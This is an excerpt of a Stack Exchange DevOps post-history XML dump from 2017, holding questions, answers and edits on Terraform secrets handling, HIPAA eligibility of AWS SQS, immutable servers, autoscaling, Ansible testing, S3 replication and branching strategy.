  <row Id="328" PostHistoryTypeId="3" PostId="122" RevisionGUID="85ef64d9-fcae-4c84-8097-bb33c1e3b554" CreationDate="2017-03-01T01:31:59.837" UserId="47" Text="&lt;continuous-integration&gt;&lt;branch&gt;&lt;waterfall&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="329" PostHistoryTypeId="2" PostId="123" RevisionGUID="38684730-e0e8-471f-94e5-9ee2eb23dcb6" CreationDate="2017-03-01T01:36:58.157" UserId="6" Text="Terraform [supports][1] adding an additional file with variables during invocation.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;documentation: https://www.terraform.io/intro/getting-started/variables.html#from-a-file&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;We are using that feature to provide a `secrets.tfvars` file on each invocation of Terraform. We also use a script to wrap the command so that its invocation is consistent, and all team members avoid having to make the same mistakes. The wrapper synchronizes `.tfstate` with S3 before an execution, and pushes `.tfstate` back to S3 at the end. I also hear of people doing the same thing with state stored in Consul, even adding a kind of semaphore in consul to prevent two people from starting Terraform at the same time.&#xD;&#xA;&#xD;&#xA;When you avoid setting a default value in a `.tf` file, it forces the user to input the value. It can be either entered manually or using the `-var-file` command option like described above. Not setting a default on your secrets is a good way to enforce changes that require a change in secrets.&#xD;&#xA;&#xD;&#xA;The `secrets.tfvars` file is a symbolic link to one of the files with secrets which are not stored in version control. We have several, one per environment, like so `secrets-prod.tfvars`, `secrets-dev.tfvars, `secrets-stg.tfvars`, etc...&#xD;&#xA;&#xD;&#xA;An even better practice would be to generate these secrets files during the wrapper script based on data in Vault or some other way to *share* secrets. Since currently when the format of secrets changes, or secrets themselves, we need to communicate it to the team outside the version control channel - and this doesn't always work well, to be honest. But secrets do change infrequently.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/intro/getting-started/variables.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="330" PostHistoryTypeId="2" PostId="124" RevisionGUID="2007f424-9ce2-4f03-b3f3-cd8d2a58ffb9" CreationDate="2017-03-01T01:44:24.227" UserId="46" Text="I have a use case where data from S3 is queued into AWS SQS, which is in turn connected to cloudwatch, whose metrics will be triggering AWS Lambda.&#xD;&#xA;&#xD;&#xA;However, I want the architecture to be HIPPA compliant. So, I have come up with this idea:&#xD;&#xA;&#xD;&#xA;     1. Once my S3 bucket gets a file,&#xD;&#xA;     2. Fire up a lambda function, which does hashing/name scrambling of the files, and copies to another S3 bucket (via `aws cp`)&#xD;&#xA;     3. Connect the bucket with the hashed/scrambled names to the SQS queue&#xD;&#xA;&#xD;&#xA;**Is this a good and secure practise? Or is there a better work-around?** . [Would be more than happy if I can send encrypted keys of S3 to SQS. But not sure if I can or if it is possible.]&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="331" PostHistoryTypeId="1" PostId="124" RevisionGUID="2007f424-9ce2-4f03-b3f3-cd8d2a58ffb9" CreationDate="2017-03-01T01:44:24.227" UserId="46" Text="How do I work around the fact that AWS SQS is not hippa compliant?" ContentLicense="CC BY-SA 3.0" />
  <row Id="332" PostHistoryTypeId="3" PostId="124" RevisionGUID="2007f424-9ce2-4f03-b3f3-cd8d2a58ffb9" CreationDate="2017-03-01T01:44:24.227" UserId="46" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;hippa-compliance&gt;&lt;amazon-sqs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="333" PostHistoryTypeId="5" PostId="124" RevisionGUID="a0c473be-612f-4926-a0de-e50b2389119c" CreationDate="2017-03-01T01:53:30.300" UserId="47" Comment="improved formatting" Text="I have a use case where data from S3 is queued into AWS SQS, which is in turn connected to CloudWatch, whose metrics will be triggering AWS Lambda.&#xD;&#xA;&#xD;&#xA;However, I want the architecture to be HIPPA compliant. So, I have come up with this idea:&#xD;&#xA;&#xD;&#xA;     1. Once my S3 bucket gets a file,&#xD;&#xA;     2. Fire up a lambda function, which does hashing/name scrambling of the files, and copies to another S3 bucket (via `aws cp`)&#xD;&#xA;     3. Connect the bucket with the hashed/scrambled names to the SQS queue&#xD;&#xA;&#xD;&#xA;**Is this a good and secure practise? Or is there a better work-around?** . [Would be more than happy if I can send encrypted keys of S3 to SQS. But not sure if I can or if it is possible.]&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="334" PostHistoryTypeId="4" PostId="124" RevisionGUID="a0c473be-612f-4926-a0de-e50b2389119c" CreationDate="2017-03-01T01:53:30.300" UserId="47" Comment="improved formatting" Text="How do I work around the fact that AWS SQS is not HIPPA compliant?" ContentLicense="CC BY-SA 3.0" />
  <row Id="335" PostHistoryTypeId="24" PostId="124" RevisionGUID="a0c473be-612f-4926-a0de-e50b2389119c" CreationDate="2017-03-01T01:53:30.300" Comment="Proposed by 47 approved by 46 edit id of 26" ContentLicense="CC BY-SA 3.0" />
  <row Id="336" PostHistoryTypeId="2" PostId="125" RevisionGUID="081814eb-0993-40f3-b33c-8abe242e62b7" CreationDate="2017-03-01T01:55:28.197" UserId="6" Text="The term Phoenix Server was coined by a fellow of Martin Fowler, and all three terms described in short articles on Martin's bliki.&#xD;&#xA;&#xD;&#xA;* [Snowflake Server][1]&#xD;&#xA;* [Phoenix Server][2]&#xD;&#xA;* [Immutable Server][3]&#xD;&#xA;&#xD;&#xA;The pros and cons of each such server are described in the articles. The main difference being in the way the server is managed.&#xD;&#xA;&#xD;&#xA;Servers exist to fulfill the role of a container for some application(s). Since applications change often, it is often required to change some attributes of the container - such as packages, configuration, etc. It is also sometimes required to change attributes of the container itself because of external reasons, such as security vulnerabilities that require patches to be installed.&#xD;&#xA;&#xD;&#xA;There are several ways to change an existing server:&#xD;&#xA;&#xD;&#xA;  1. Manually create the server initially, then keep changing its content (mutating) each time a change is required.&#xD;&#xA;  2. &quot;Bake&quot; a server based on a recipe, usually in an automated way (not manually). And repeat this process on every change.&#xD;&#xA;&#xD;&#xA;The former is called Snowflake, while the latter is a practice that allows Phoenix and Immutable server types. Where Immutable states that no changes are made to an existing server once it was created, and Phoenix means that a server is destroyed completely and a new one is used to replace it during the change process.&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/SnowflakeServer.html&#xD;&#xA;  [2]: https://martinfowler.com/bliki/PhoenixServer.html&#xD;&#xA;  [3]: https://martinfowler.com/bliki/ImmutableServer.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="338" PostHistoryTypeId="2" PostId="127" RevisionGUID="4a8e3d9c-b3d8-44c6-b59d-2421a14a4a8a" CreationDate="2017-03-01T02:19:16.450" UserId="6" Text="According to the [article you linked][1], Team Resources are shared. This means that all droplets (hosts) are shared across the team once you have a team in place.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;source: [https://www.digitalocean.com/community/tutorials/how-to-use-teams-on-digitalocean#team-resources][1]&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;This means that each team member, using his own personal token, can manage all the resources shared with her. Terraform allows each user to use his own credentials when managing resources, and includes a state file (that must be shared as well). Managing shared `tfstate` and managing secrets is addressed in this [DevOps.SE question][2].&#xD;&#xA;&#xD;&#xA;  [1]: http://%20https://www.digitalocean.com/community/tutorials/how-to-use-teams-on-digitalocean#team-resources&#xD;&#xA;  [2]: http://devops.stackexchange.com/questions/79/how-can-i-manage-secrets-in-tf-and-tfstate" ContentLicense="CC BY-SA 3.0" />
  <row Id="339" PostHistoryTypeId="2" PostId="128" RevisionGUID="58932914-9f16-4ace-8800-b4ba94d5e06b" CreationDate="2017-03-01T02:21:42.767" UserId="36" Text="How can I manage changes in desired capacity due to scaling policies in AutoScaling Group state in terraform?&#xD;&#xA;&#xD;&#xA;Specifically, suppose I provision an [aws_autoscaling_group resource][1] with terraform with a [desired_capacity][2] of 4 and a scaleup policy on high CPU utilization. Later, the autoscaling group has updated via scaling policies to a desired capacity of 6 but this state isn't captured in my terraform .tfstate. &#xD;&#xA;&#xD;&#xA;If I want to make a subsequent change to my autoscaling group state via terraform, how can I make the change without resetting the desired_capacity (since it has not changed in the .tf)? Can I automate updating the desired_capacity to match current group size somehow, or should I just not set desired_capacity at all?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/aws/r/autoscaling_group.html&#xD;&#xA;  [2]: https://www.terraform.io/docs/providers/aws/r/autoscaling_group.html#desired_capacity" ContentLicense="CC BY-SA 3.0" />
  <row Id="340" PostHistoryTypeId="1" PostId="128" RevisionGUID="58932914-9f16-4ace-8800-b4ba94d5e06b" CreationDate="2017-03-01T02:21:42.767" UserId="36" Text="How can I manage changes in desired capacity due to scaling policies in AutoScaling Group state?" ContentLicense="CC BY-SA 3.0" />
  <row Id="341" PostHistoryTypeId="3" PostId="128" RevisionGUID="58932914-9f16-4ace-8800-b4ba94d5e06b" CreationDate="2017-03-01T02:21:42.767" UserId="36" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="342" PostHistoryTypeId="2" PostId="129" RevisionGUID="9e158b79-aa69-47b5-8c05-2865b4b6c554" CreationDate="2017-03-01T02:30:47.463" UserId="6" Text="The `desired_capacity` in Terraform is marked [in the documentation][1] as optional. So with a proper `min_size` value, Terraform [can wait][2] until the minimum capacity is reached before continuing.&#xD;&#xA;&#xD;&#xA;The above, with the addition of scale policy can effectively manage capacity without being specific about `desired_capacity` in your Terraform code. This will prevent you from having Terraform override the capacity in place at the moment of execution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/aws/r/autoscaling_group.html#desired_capacity&#xD;&#xA;  [2]: https://www.terraform.io/docs/providers/aws/r/autoscaling_group.html#waiting-for-capacity" ContentLicense="CC BY-SA 3.0" />
  <row Id="343" PostHistoryTypeId="2" PostId="130" RevisionGUID="d30b20e4-4d2c-4e13-bf13-ee168787d71d" CreationDate="2017-03-01T02:37:09.567" UserId="6" Text="According to Amazon AWS&#xD;&#xA;&#xD;&#xA;&gt; Customers may use any AWS service in an account designated as a HIPAA&#xD;&#xA;&gt; account, but they should only process, store and transmit PHI in the&#xD;&#xA;&gt; HIPAA-eligible services defined in the BAA. There are ten&#xD;&#xA;&gt; HIPAA-eligible services today, including AWS Snowball, Amazon&#xD;&#xA;&gt; DynamoDB, Amazon EBS, Amazon EC2, Amazon Elastic MapReduce (EMR),&#xD;&#xA;&gt; Amazon Elastic Load Balancing (ELB), Amazon Glacier, Amazon Relational&#xD;&#xA;&gt; Database Service (RDS) [MySQL, Oracle, and PostgreSQL engines only],&#xD;&#xA;&gt; Amazon Aurora [MySQL-compatible edition only], Amazon Redshift, and&#xD;&#xA;&gt; Amazon S3.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;source: https://aws.amazon.com/compliance/hipaa-compliance/&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;This means that as long as you are not storing or transmitting PHI in SQS, just the information about where this PHI is being stored - you probably can pass an audit reg. HIPAA compliance.&#xD;&#xA;&#xD;&#xA;In the architecture you describe, the SQS queue does not need to include any PHI content. This would make it comply with the above statement.&#xD;&#xA;&#xD;&#xA;More information about HIPAA compliance on AWS is available in this whitepaper from January 2017 - https://d0.awsstatic.com/whitepapers/compliance/AWS_HIPAA_Compliance_Whitepaper.pdf&#xD;&#xA;&#xD;&#xA;Specifically SQS is mentioned and explained in the HIPAA FAQ - https://aws.amazon.com/blogs/security/frequently-asked-questions-about-hipaa-compliance-in-the-aws-cloud-part-two/." ContentLicense="CC BY-SA 3.0" />
  <row Id="345" PostHistoryTypeId="5" PostId="102" RevisionGUID="b47faf64-82a1-40f0-bfb6-55f7fc980dbb" CreationDate="2017-03-01T03:17:41.293" UserId="72" Comment="added 48 characters in body" Text="The two tools I've seen for this are [InSpec][1] and [ServerSpec][2].  Serverspec is a Ruby-based tool that builds on [RSpec][3].  InSpec is inspired by RSpec and ServerSpec.&#xD;&#xA;&#xD;&#xA;I've used ServerSpec. It's cool, but maybe not 100% stable. I've had problems with testing for specific versions of software on Ubuntu.&#xD;&#xA;&#xD;&#xA;I've read the InSpec docs but haven't dug in deep.  It does essentially the same thing as Serverspec.  &#xD;&#xA;&#xD;&#xA;Judging by the Github commits, it looks like work on ServerSpec has tailed off somewhat, whereas InSpec is just getting ramped up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.chef.io/inspec/&#xD;&#xA;  [2]: http://serverspec.org/&#xD;&#xA;  [3]: http://rspec.info/" ContentLicense="CC BY-SA 3.0" />
  <row Id="346" PostHistoryTypeId="2" PostId="131" RevisionGUID="a609fd5b-ce6b-49bb-a2e4-e5f7c3d59878" CreationDate="2017-03-01T03:28:55.670" UserId="247" Text="For large organisations with typical 4 weeks sprint cycle Git-Flow is preferred approach because&#xD;&#xA;You get benefit of Feature branch&#xD;&#xA;Master production ready branch is always deployable&#xD;&#xA;Also, master branch is kept clean from unwanted commits by following two commit cycle(From feature to Develop and Develop to Master)&#xD;&#xA;&#xD;&#xA;Moreover, branching is also determined by frequency of production releases. For frequent deployment to production its better to have a Feature branch or Centralized model. In this case overhead of managing branches is shifted to robust testing in lower environments to maintain production stability. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="347" PostHistoryTypeId="2" PostId="132" RevisionGUID="2b1385d8-57c3-4569-82bc-114119912a44" CreationDate="2017-03-01T03:32:20.357" UserId="6" Text="When using configuration management tools, such as Ansible, the tool itself would be responsible preventing configuration drift. Once you used Ansible to set a certain configuration, repetitive execution of Ansible will ensure your configuration is as you defined it to be. This also requires your Ansible code to be written in a manner which is immutable.&#xD;&#xA;&#xD;&#xA;Given the above, testing provisioning can be achieved by executing your Ansible playbooks in a loop from some server. For example a cron job, or Jenkins, can execute the playbooks every 30 minutes and report back on any failure. Having no failures means that your configuration is in check, having failures means that there is a problem getting servers into your *desired state*.&#xD;&#xA;&#xD;&#xA;In a case where you cannot trust your code to be written as immutable, and thus you cannot really execute Ansible repetitively in a loop from an automatic server a workaround exists. You can do the same as above (run Ansible in a loop) but use its [*dry run* mode][1]. Each time Ansible reports that changes are required, the Jenkins job (or cron job) can notify you that your provisioned configuration has been altered and servers are not in their *desired state*.&#xD;&#xA;&#xD;&#xA;To make sure that your Ansible code is actually doing what you think it should be doing, the solutions mentioned by Dave Swersky apply. Both [InSpec][2] and [Serverspec][3] are tools that verify in a *different* way that your playbooks actually does what you mean. A great way to execute these kinds of tools in test environments (even docker containers) is to use [kitchen.ci][4] which handles all the glue between the various infra unit testing tools, and execution of your playbooks/modules/cookbooks.&#xD;&#xA;&#xD;&#xA;Kitchen.ci was originally used to test Chef cookbooks, but [plugins exist for Ansible][5] and other CM tools as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/playbooks_checkmode.html&#xD;&#xA;  [2]: https://www.chef.io/inspec/&#xD;&#xA;  [3]: http://serverspec.org/&#xD;&#xA;  [4]: http://kitchen.ci/&#xD;&#xA;  [5]: https://github.com/neillturner/kitchen-ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="349" PostHistoryTypeId="2" PostId="133" RevisionGUID="f2abce28-4016-4d7d-8b9e-2a0abba23d77" CreationDate="2017-03-01T03:39:58.050" UserId="6" Text="The practices describing DevOps, such as continuous delivery, automation, etc. are relevant to products that provide continuous service, such as SaaS products.&#xD;&#xA;&#xD;&#xA;For example, a software development company that mostly does projects for other clients might never be maintained these after the project is over. And client projects are not shared with other clients, because irrelevant.&#xD;&#xA;&#xD;&#xA;Does DevOps even apply to companies who develop multiple projects that are one-offs? What DevOps practices apply in this case, if at all?" ContentLicense="CC BY-SA 3.0" />
  <row Id="350" PostHistoryTypeId="1" PostId="133" RevisionGUID="f2abce28-4016-4d7d-8b9e-2a0abba23d77" CreationDate="2017-03-01T03:39:58.050" UserId="6" Text="Is DevOps restricted to companies with SaaS products?" ContentLicense="CC BY-SA 3.0" />
  <row Id="351" PostHistoryTypeId="3" PostId="133" RevisionGUID="f2abce28-4016-4d7d-8b9e-2a0abba23d77" CreationDate="2017-03-01T03:39:58.050" UserId="6" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="352" PostHistoryTypeId="2" PostId="134" RevisionGUID="f8f22197-c212-4c80-83de-eb6b6a319ed4" CreationDate="2017-03-01T03:50:15.837" UserId="242" Text="My team and I are responsible for developing &quot;one-offs&quot;, products that once finished are given to the client for upkeep or in some cases managed by us for a fee. &#xA;&#xA;We still need to maintain a solid development pipeline to handle the constant feedback from our clients in order to ensure that we ship them something reliable and proven to run. &#xA;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="353" PostHistoryTypeId="2" PostId="135" RevisionGUID="71d33f5c-11d8-4fa5-9bf6-24eded16a032" CreationDate="2017-03-01T04:02:59.617" UserId="46" Text="S3 do have an option of `cross-region replication`  So, that should be pretty fault-tolerant against region/zone outages.&#xD;&#xA;&#xD;&#xA;So, does that mean all these big companies who are ranting abt the outage did not take care of that? &#xD;&#xA;&#xD;&#xA;**Or is that not completely fool-proof in this case?**" ContentLicense="CC BY-SA 3.0" />
  <row Id="354" PostHistoryTypeId="1" PostId="135" RevisionGUID="71d33f5c-11d8-4fa5-9bf6-24eded16a032" CreationDate="2017-03-01T04:02:59.617" UserId="46" Text="Is cross-region replication 100% fool-proof for S3 region outages?" ContentLicense="CC BY-SA 3.0" />
  <row Id="355" PostHistoryTypeId="3" PostId="135" RevisionGUID="71d33f5c-11d8-4fa5-9bf6-24eded16a032" CreationDate="2017-03-01T04:02:59.617" UserId="46" Text="&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="356" PostHistoryTypeId="2" PostId="136" RevisionGUID="e9ab756f-b1de-4f32-950d-d3da6734baa6" CreationDate="2017-03-01T04:10:41.043" UserId="246" Text="What you are asking for is, basically, high-availability. In order to make a system highly available, you need three things:&#xD;&#xA;&#xD;&#xA; 1. Eliminate single points of failure&#xD;&#xA; 2. A mechanism to switch from an endpoint to another&#xD;&#xA; 3. A way to detect failures&#xD;&#xA;&#xD;&#xA;Eliminate single points of failure&#xD;&#xA;----------------------------------&#xD;&#xA;&#xD;&#xA;In the case of S3, the point #1 is addressed, as Evgeny pointed out, by [S3 cross-region replication][1].&#xD;&#xA;&#xD;&#xA;Replication, however, is not instantaneous and you'll want to check if you want to make your application replication aware or not. In the event of an outage, it is possible that something that was written to your source bucket has not yet made it (wasn't replicated) to the destination bucket. You have to think how the application would handle such a scenario. That really depend on the type of data, what is being done with it and (potentially) the end-users or management expectations.&#xD;&#xA;&#xD;&#xA;A mechanism to switch from an endpoint to another&#xD;&#xA;-------------------------------------------------&#xD;&#xA;For S3, that means that in the event of an outage, you want the application to stop reading and writing from/to bucket A and use bucket B instead.&#xD;&#xA;&#xD;&#xA;How to achieve this is, as far as I know, up to you for now. Some other AWS services offer completely transparent fail-overs, but I'm not aware of such a thing for S3 at the moment.&#xD;&#xA;&#xD;&#xA;There are various ways to achieve this. One example is using a proxy that will route the traffic to the appropriate bucket. During an outage, you would update/change the proxy to route the traffic to a bucket not affected by the outage. Another example would be to make your application configuration dynamic and store it in a key-value store. If the application reads the KV store for updated properties often enough, you can switch where you read from and write to (Spring Cloud has support for an &quot;EnvironmentChange&quot; listener, for example).&#xD;&#xA;&#xD;&#xA;A way to detect failures&#xD;&#xA;------------------------&#xD;&#xA;Well, that one is easy, I think. Simply setup a write + read loop and alert as soon as something isn't right :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Closing notes&#xD;&#xA;-------------&#xD;&#xA;&#xD;&#xA; - If your application is writing to the bucket, you have to think about what would happen in the case of a fail-over. Have all the writes made it to the destination bucket (and can you tell)? Can you allow writes to the destination bucket (making it the new &quot;primary&quot;)? Careful planning will avoid split-brain or lost updates scenarios.&#xD;&#xA; - Depending on your SLA, you may want the points #2 and #3 to be automated or automatic. That requires additional planning, tooling and testing, but well-written scripts will always react faster and in more predictable ways than human can (failures also have the annoying habit of happening in the middle of the night when human intervention is something hazardous.&#xD;&#xA; - It's worth mentioning that even cross-region replication doesn't completely eliminate single points of failure. Sure, if a region goes down, you are covered. But what if a US-wide AWS outage happens? Azure had a partial but global outage last year and one in 2014 too.&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AmazonS3/latest/dev/crr.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="357" PostHistoryTypeId="5" PostId="122" RevisionGUID="74a6efea-e0bb-4f3e-afed-ed35641f8291" CreationDate="2017-03-01T04:11:25.023" UserId="47" Comment="added clarification" Text="In a (very) large organisations using the waterfall methodology typically very complex branching structures (aka *branch spagetti*) are encountered.&#xD;&#xA;&#xD;&#xA;What branching strategies can be used in a transition to true continuous integration - a single main development branch (aka *trunk-based development*)?&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;To clarify, the question is about the **migration/transition itself**, not about the **before** and the **after** methodologies which are pretty clear. &#xD;&#xA;&#xD;&#xA;It can't really be &quot;at EOB today we're still waterfall with gazillion of branches but tomorrow 1st thing we'll switchover to trunk-based, single-branch CI&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="358" PostHistoryTypeId="2" PostId="137" RevisionGUID="36a83fe0-f0d2-411f-b286-c2ceeffb6373" CreationDate="2017-03-01T04:11:49.233" UserId="6" Text="Many big companies would be at fault for not using this feature. It does add additional cost, and historically any kind of *real* disaster recovery solution is untested even if implemented.&#xD;&#xA;&#xD;&#xA;Other than the cost issue, companies who are actively using cross-region replication can offer a valid concern regarding the latency it takes for an object to replicate. S3 does not allow (as far as I know) read-after-write consistency on replicated objects, while it does allow it for a bucket in a single region.&#xD;&#xA;&#xD;&#xA;This [SE question][1] raises a concern where objects are not being replicated properly, or take too long to replicate.&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/23786609/what-is-maximum-amazon-s3-replication-time-on-file-upload" ContentLicense="CC BY-SA 3.0" />
  <row Id="359" PostHistoryTypeId="5" PostId="137" RevisionGUID="ec3502d0-91b0-4822-b322-21a401247826" CreationDate="2017-03-01T04:23:04.940" UserId="6" Comment="add note about eventual consistency" Text="Many big companies would be at fault for not using this feature. It does add additional cost, and historically any kind of *real* disaster recovery solution is untested even if implemented.&#xD;&#xA;&#xD;&#xA;Other than the cost issue, companies who are actively using cross-region replication can offer a valid concern regarding the latency it takes for an object to replicate. S3 does not allow (as far as I know) read-after-write consistency on replicated objects, while it does allow it for a bucket in a single region.&#xD;&#xA;&#xD;&#xA;This [SE question][1] raises a concern where objects are not being replicated properly, or take too long to replicate. Provided that cross-region replication is done in a mode of eventual consistency, there are a lot of concerns to address.&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/23786609/what-is-maximum-amazon-s3-replication-time-on-file-upload" ContentLicense="CC BY-SA 3.0" />
  <row Id="360" PostHistoryTypeId="2" PostId="138" RevisionGUID="6e4612fa-be76-4f13-9213-02bf046db9ba" CreationDate="2017-03-01T04:39:36.673" UserId="246" Text="Absolutely not!&#xD;&#xA;&#xD;&#xA;DevOps is all about breaking down the traditional silos (department) in order to be more efficient.&#xD;&#xA;&#xD;&#xA;Better communication between teams, improved visibility and reliable and automated process are ways to achieve a better product.&#xD;&#xA;&#xD;&#xA;I used to work for a big media company where we would develop and support internal and public-facing websites. &#xD;&#xA;&#xD;&#xA;The benefits of DevOps in our case were the following:&#xD;&#xA;&#xD;&#xA; - Through continuous building, we let know the development team earlier rather than later if there are integration or build problems with their code. They can fix issues while their mind is still on the piece of code they just committed.&#xD;&#xA; - Through continuous testing and delivery (into QA), we enabled the QA team to find problems earlier and report them earlier. This reduced the time it took to find and correct bugs as well as reduce the complexity of these investigation.&#xD;&#xA; - With out log collection &amp; aggregation tools, we gave to the developers access to something they wouldn't usually look at (they were very keen on the debuggers :) - understanding how logs are seen and used by other teams improved the overall quality of logs&#xD;&#xA; - We often shared information and created documentation to share knowledge between teams, trying to break down walls. By understanding the Ops' needs, we create a few guides for what should always be kept in mind when bootstrapping an application (where/how to manage properties, etc.). By understanding the Dev's reality (code more features, faster, gogogogo!) we were able to have the ops create servers and clusters that were better suited to the dev's needs.&#xD;&#xA; - The overall quality of deployments was greatly improved too. Deployments were handled by our team, so we had perfect visibility on both Ops and Dev. This eliminated many issues related to the &quot;code hand-off&quot; where the dev would hand over a package and one-page document to the ops saying &quot;Install this!&quot;.&#xD;&#xA;&#xD;&#xA;Overall, I would say that regardless if you are updating your production environment once per day or once per month and regardless of how many customers you have or your business model, every enterprise can use better communication, better tools, better visibility, faster feedback, etc.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="363" PostHistoryTypeId="2" PostId="139" RevisionGUID="6f6d8a3f-0a43-457c-9644-fa005e7cb428" CreationDate="2017-03-01T05:09:30.393" UserId="246" Text="When migrating from something to something else, there is only two things you need to define:&#xD;&#xA;&#xD;&#xA; 1. What is your target&#xD;&#xA; 2. How to get there (the migration plan)&#xD;&#xA;&#xD;&#xA;The first part is, sadly, often overlooked or **way** too vague. You cannot simply say that what you have is a mess and you want to organize it. What would that mean? Everybody would have a different interpretation (aka: every dev thinks that *his* or *her* way of doing things is the best).&#xD;&#xA;&#xD;&#xA;Chances are, all the branches you have serve or have served a purpose. Without a clearly defined target process, people will keep doing what works for them the way it suits them best (and rightly so).&#xD;&#xA;&#xD;&#xA;For example, your target should be defined as clearly as Vincent Driessen defined his [&quot;successful Git branching model&quot;][1]. If you look at this model, it is very precise: It says were stable code be, where unstable features should be developed. It also says how and when to branch, update and merge back. You know what this and that branch are for, and what to do with them. We use a variation of what was put forward by Vincent and our variation is defined in our wiki.&#xD;&#xA;&#xD;&#xA;The important point is to have all the team understand and agree on a target. It might be worth it to remind people that you are not looking for their personal favorite branching model, but a model that all the team members can agree on and use easily.&#xD;&#xA;&#xD;&#xA;Once you have your target, you'll be able to elaborate you migration plan. That plan can be as long or as short as you'd like. I've seen such branching model imposed overnight and at other places, it was done over 2 or 3 sprints. It doesn't matter much to me, as long as we are improving.&#xD;&#xA;&#xD;&#xA;You can start with the &quot;biggest&quot; or more important branches. E.g.: from now on, master must always be in a state to be deployed in prod and the dev branch must always compile (or whatever your rules). Then, enforce version (release) branches. Afterward, enforce feature branches. After that, impose a code freeze on version branch, if it make sense.&#xD;&#xA;&#xD;&#xA;DevOps is all about communication, openness and efficiency. These concepts must be kept in mind and communicated throughout the process.&#xD;&#xA;&#xD;&#xA;I would suggest to invite some people outside of the development team to the process meeting as observers. Ops or middle management might have a thing or two to say about your model. The developers needs should be prioritized, but it the branching model is impossible to align with the way things are managed, you'd be better knowing now and not in a month or two.&#xD;&#xA;&#xD;&#xA;If you have really big teams, try to include everyone nonetheless. With very big teams, you'll end up with two or three meetings anyway. So invite team leaders in the room, but have a webcast available and let everyone know about it. If anyone has a suggestion or concern, they'll be able to voice it to their team leader and if it is valid, it will be addressed on the second or third meeting.&#xD;&#xA;&#xD;&#xA;  [1]: http://nvie.com/posts/a-successful-git-branching-model/" ContentLicense="CC BY-SA 3.0" />
  <row Id="364" PostHistoryTypeId="2" PostId="140" RevisionGUID="168e6c21-bc51-4e88-a70f-663b01544671" CreationDate="2017-03-01T05:11:30.553" UserId="228" Text="You have to understand that processes change people who follow them. As people learn, internalize and get better at a process, it changes the way they learn how to solve a particular problem. A set of similar processes reinforce each other into a mindset the person uses to solve a category of problems and eventually form a set of values that guides decisions and new solutions to new problems.&#xD;&#xA;&#xD;&#xA;Even if you change the process, without the change to the mindset and even more crucial to the values, the person will simply adapt the new process to conform to the same values, same mindset or even same solution as in the original process. At a certain point, it is not possible to divorce this person in this position from the mindset acquired or change the underlying values.&#xD;&#xA;&#xD;&#xA;To institute a change, you have the following two options: &#xD;&#xA;&#xD;&#xA; 1. Bring in a person who will already have the right values and mindset and in best case scenario, understand the process that needs to be followed without your help.&#xD;&#xA; 2. Bring in and empower new employee, either recently hired, a new hire or a transfer from a different team in the organization and train him in the new process, hoping to instill the new mindset, hoping the new set of values will emerge.&#xD;&#xA;&#xD;&#xA;If the change is local, you might prefer an internal transfer as that person would already share the global company wide values which you want to retain. In case of a larger change, you need to bring in someone from outside to have a fresh perspective and to not share the company wide values which you might be trying to change.&#xD;&#xA;&#xD;&#xA;The important part is to empower the person, team or business unit to follow the processes and insulate them from the old team, other teams or the rest of the company, respectively, which might still follow the old set of processes. As it is very hard to insulate such change agent from management above, if the change is to be larger, it often needs to follow all the way up the management chain or come all the way from the top of it." ContentLicense="CC BY-SA 3.0" />
  <row Id="365" PostHistoryTypeId="5" PostId="138" RevisionGUID="59f598d7-08e7-41fd-a233-60be3a3d7378" CreationDate="2017-03-01T05:12:06.003" UserId="246" Comment="One grammar issue fixed and further clarified that we were actively supporting one tool while developing (but not supporting) other products." Text="Absolutely not!&#xD;&#xA;&#xD;&#xA;DevOps is all about breaking down the traditional silos (departments) in order to be more efficient.&#xD;&#xA;&#xD;&#xA;Better communication between teams, improved visibility and reliable and automated process are ways to achieve a better product.&#xD;&#xA;&#xD;&#xA;I used to work for a big media company where we would support an internal tool and develop public-facing websites. &#xD;&#xA;&#xD;&#xA;The benefits of DevOps in our case were the following:&#xD;&#xA;&#xD;&#xA; - Through continuous building, we let know the development team earlier rather than later if there are integration or build problems with their code. They can fix issues while their mind is still on the piece of code they just committed.&#xD;&#xA; - Through continuous testing and delivery (into QA), we enabled the QA team to find problems earlier and report them earlier. This reduced the time it took to find and correct bugs as well as reduce the complexity of these investigation.&#xD;&#xA; - With out log collection &amp; aggregation tools, we gave to the developers access to something they wouldn't usually look at (they were very keen on the debuggers :) - understanding how logs are seen and used by other teams improved the overall quality of logs&#xD;&#xA; - We often 